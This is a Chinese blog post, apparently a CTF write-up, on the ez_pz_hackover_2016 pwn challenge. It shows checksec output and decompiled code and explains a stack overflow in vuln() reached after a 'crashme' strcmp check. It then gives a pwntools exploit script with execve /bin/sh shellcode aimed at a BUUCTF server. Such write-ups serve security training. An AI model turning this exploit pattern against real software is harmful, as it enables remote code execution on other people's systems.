当前位置: 首页 > news >正文

ez_pz_hackover_2016

ez_pz_hackover_2016

Arch:     i386-32-little
RELRO:    Full RELRO
Stack:    No canary found
NX:       NX disabled
PIE:      No PIE (0x8048000)
RWX:      Has RWX segments

32位,保护全关

int chall()
{size_t v0; // eaxint result; // eaxchar s[1024]; // [esp+Ch] [ebp-40Ch] BYREF_BYTE *v3; // [esp+40Ch] [ebp-Ch]printf("Yippie, lets crash: %p\n", s);printf("Whats your name?\n");printf("> ");fgets(s, 1023, stdin);v0 = strlen(s);v3 = memchr(s, 10, v0);if ( v3 )*v3 = 0;printf("\nWelcome %s!\n", s);result = strcmp(s, "crashme");if ( !result )return vuln((char)s, 0x400u);return result;
}

这里不存在漏洞点

void *__cdecl vuln(char src, size_t n)
{char dest[50]; // [esp+6h] [ebp-32h] BYREFreturn memcpy(dest, &src, n);
}

漏洞点在这里,通过上面输入的数据传进这里并执行栈

思路

我们需要计算不同函数栈的距离

需要绕过strcmp和memchr,\x00均可绕过,答案就呼之欲出了,

调好偏移,使返回地址指向shellcode就可以getshell了

参考

from pwn import*
from Yapack import *
r,elf=rec("node4.buuoj.cn",27018,"./pwn",10)
context(os='linux', arch='i386',log_level='debug')
#debug('b *0x8048600')sc=b'\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80'
leak=get_addr_int()-(0x1c)
pl=b'crashme\x00'+b'a'*(0x12)+p64(leak)+sc
sla(b'> ',pl)ia()

在这里插入图片描述

http://www.lryc.cn/news/172750.html

相关文章:

  • 解决方案| anyRTC远程检修应用场景
  • IC芯片测试:如何对芯片静态功耗进行测试?
  • Redis面试二“缓存击穿是什么”
  • python使用apscheduler每隔一段时间自动化运行程序
  • 2023 Sui Builder House全球之旅圆满收官
  • OpenCV自学笔记二十三:K近邻算法
  • ChatGLM-中英对话大模型-6B试用说明
  • 小白入门pytorch(一)
  • 【STM32笔记】HAL库I2C通信配置、读写操作及通用函数定义
  • Direct3D模板缓存
  • 在windows上执行ssh-keygen报错Bad permissions
  • 给Proxmox VE 虚拟机分配巨大分区惹麻烦
  • 数学建模——统计回归模型
  • C++【个人笔记1】
  • 博通强迫三星签不平等长约,被韩处罚1亿元 | 百能云芯
  • 版本控制 Sourcetree
  • 题目 1059: 二级C语言-等差数列
  • HarmonyOS 如何使用异步并发能力进行开发
  • 时间格式化时候HH和hh的区别
  • aliyunoss上传图片
  • 动手吧,vue数字动画
  • Android12之仿Codec2.0实现传递编解码器组件本质(四十六)
  • MongoDB【部署 04】Windows系统实现MongoDB多磁盘存储
  • ruoyi框架使用自定义用户表登录
  • 计算机视觉与深度学习-卷积神经网络-卷积图像去噪边缘提取-卷积-[北邮鲁鹏]
  • JS手动实现发布者-订阅者模式
  • 【含面试题】MySQL死锁日志分析与解决的Java代码实现
  • 解决方案:TSINGSEE青犀+智能分析网关助力智慧仓储智能化监管
  • 进程间通信
  • Ubuntu 22.04.3 LTS安装